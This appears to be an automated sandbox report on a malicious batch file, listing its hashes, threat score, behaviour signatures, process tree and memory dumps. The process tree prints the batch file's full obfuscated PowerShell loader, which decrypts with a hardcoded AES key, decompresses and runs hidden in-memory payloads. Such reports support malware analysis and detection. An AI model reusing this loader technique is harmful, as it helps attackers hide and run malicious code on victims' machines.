Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    1556s
  • max time network
    1557s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    15/09/2024, 02:03

General

  • Target

    tre.bat

  • Size

    186KB

  • MD5

    49a0a6fd50d78530a1d0165530bbf452

  • SHA1

    d7c0a6fda37c34e19da741946624e33632372f01

  • SHA256

    9eb51151389425c487c68c0f293d80fe0c8f894aedcf797fbc37e8bdf4cf1ecf

  • SHA512

    1e64aa6cc815dbc537164dec8ef885bdee00e6a02836065c0dadbb440737eb9a1ec361aa6cd9c3c6d8e545a817c554b76b132fd81d4c24089208e8b5c7be1dc1

  • SSDEEP

    3072:Y3QUaDntxn+cceixWDdNllmYtUA8HnUe/EEQjnj/2+AZ8E9zl7LWe9hCWANSblHO:IQt+wixAjSYjcEE6j/2+A+2zl7aemM1O

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\tre.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EZjs3O/YrRsf+LkoNU2BNTXusVrRTrhZDt/IW5OIKd8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0QizlgZdzVSwDxP7nx/ZUg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TsyGO=New-Object System.IO.MemoryStream(,$param_var); $VvkGv=New-Object System.IO.MemoryStream; $KtTST=New-Object System.IO.Compression.GZipStream($TsyGO, [IO.Compression.CompressionMode]::Decompress); $KtTST.CopyTo($VvkGv); $KtTST.Dispose(); $TsyGO.Dispose(); $VvkGv.Dispose(); $VvkGv.ToArray();}function execute_function($param_var,$param2_var){ $XLGwI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qkGHc=$XLGwI.EntryPoint; $qkGHc.Invoke($null, $param2_var);}$kzNdt = 'C:\Users\Admin\AppData\Local\Temp\tre.bat';$host.UI.RawUI.WindowTitle = $kzNdt;$LidIz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kzNdt).Split([Environment]::NewLine);foreach ($BOGXT in $LidIz) { if ($BOGXT.StartsWith('IKSBZaKgyIgKWkvfRYxG')) { $WxcLQ=$BOGXT.Substring(20); break; }}$payloads_var=[string[]]$WxcLQ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      2⤵
        PID:2280
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2452

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2452-4-0x000007FEF572E000-0x000007FEF572F000-memory.dmp

      Filesize

      4KB

    • memory/2452-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

      Filesize

      2.9MB

    • memory/2452-9-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

      Filesize

      9.6MB

    • memory/2452-8-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

      Filesize

      9.6MB

    • memory/2452-7-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

      Filesize

      9.6MB

    • memory/2452-6-0x0000000002790000-0x0000000002798000-memory.dmp

      Filesize

      32KB

    • memory/2452-10-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

      Filesize

      9.6MB

    • memory/2452-11-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

      Filesize

      9.6MB

    • memory/2452-12-0x000007FEF572E000-0x000007FEF572F000-memory.dmp

      Filesize

      4KB

    • memory/2452-13-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

      Filesize

      9.6MB